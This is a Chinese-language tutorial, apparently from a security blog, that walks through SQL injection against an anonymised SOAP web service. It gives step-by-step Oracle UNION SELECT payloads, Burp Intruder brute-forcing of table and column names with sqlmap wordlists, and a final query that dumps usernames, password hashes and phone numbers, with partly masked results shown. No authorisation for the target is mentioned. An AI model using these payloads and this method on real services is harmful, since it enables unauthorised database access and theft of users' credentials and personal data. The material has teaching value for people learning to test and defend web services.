如何对Web Services服务进行注入?

我们都知道sqlmap等一些工具不能对web services服务进行注入,因为web services使用的是SOAP协议,与我们提传统的http协议有些差异。手工+工具结合的方法完成这次的漏洞利用。下面我们一个案例演示一下,如何利用burp+sqlmap字典进行注入web services。

访问以下地址:

1
http://www.xxx.com/services

图1-web service的wdls列表

0x01扫描

将列表中的的WSDL地址依次丢到AWVS的Web Services Scanner中进行扫描,发现存在sql注入

图2-AWVS扫描结果

0x02识别正常返回与异常返回

转到AWVS中的Web Services Editor中import刚才扫描的

正常返回(有数据)

图3-正常返回(有数据)

正常返回(无数据)

图4-正常返回(无数据)

异常返回

图5-异常返回

0x03判断数据库类型

由于一般的jsp应用基本都使用oracle数据库,我们优先判断是否是oracle数据库!

注入语句:

1
2
3
-1' or chr(123)||chr(123)=chr(123)||chr(123) --
-1' or (select count (*) from user_tables)>0 --
-1' or (select count (*) from dual)>0 --

发现他们都返回正常,说明为oracle数据库
图6-是否为oracle

0x04判断字段个数

使用 order by num语句来判断字段的个数。

根据以下注入语句的结果,可知字段个数为25

1
2
-1' or order by 25 -- /*返回正常*/
-1' or order by 26 -- /*返回异常*/

0x05确定每个字段类型

由于我们此时不知道每个字段的类型,所以先用null来代替。故注入语句构造如下:

1
-1' union select null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null from user_tables --

图7

判断方法如下:

1
2
-1' union select 1,null,null,... from user_tables -- /*返回正常,说明该字段为数字型*/
-1' union select '1',null,null,... from user_tables -- /*返回正常,说明该字段为字符型*/

使用以上方法测试每个字段,发现它们都是字符型

1
-1' union select '1','2','3','4','5','6','7','8','9','10','11','12','13','14','15','16','17','18','19','20','21','22','23','24','25' from user_tables --

图8

0x06爆破表名

由于这样的格式我们无法使用sqlmap进行注入。

思路:使用burp+sqlmap的tables字典,对下面语句的user_tables表名进行爆破。

设置AWVS的代理为burp suite的本机代理

图9设置AWVS代理

将数据包从AWVS的Web Servives Editor里送入burp suite的Intruder中

图10发送数据包到burp suite

选择sqlmap的txt目录下的表字典common-tables.txt,进行爆破。

图11爆破表名

爆破表名结果

图12爆破表名结果

0x07爆破字段名

爆破字段名,思路入爆破表名一致。语句是

1
-1' union select columns,'2','3','4','5','6','7','8','9','10','11','12','13','14','15','16','17','18','19','20','21','22','23','24','25' from tbl_user --

注意:tbl_user为上一步骤爆破发现的表名,colums为使用burp加载sqlmap字段字典common-columns.txt进行爆破的地方。

图13-爆破字段名

设置过程与爆破表名类似不在细说,爆破结果结果如图所示。

图14-爆破字段名结果

0x08导出账号密码

综上最终注入语句为:

1
-1' union select user,password,mobile,'4','5','6','7','8','9','10','11','12','13','14','15','16','17','18','19','20','21','22','23','24','25' from tbl_user --

图15-注入得到账号密码

1
2
3
账号:DT*****AP
密码:e10adc3949ba59abbe56e057f20f883e
电话:139*****887

参考文章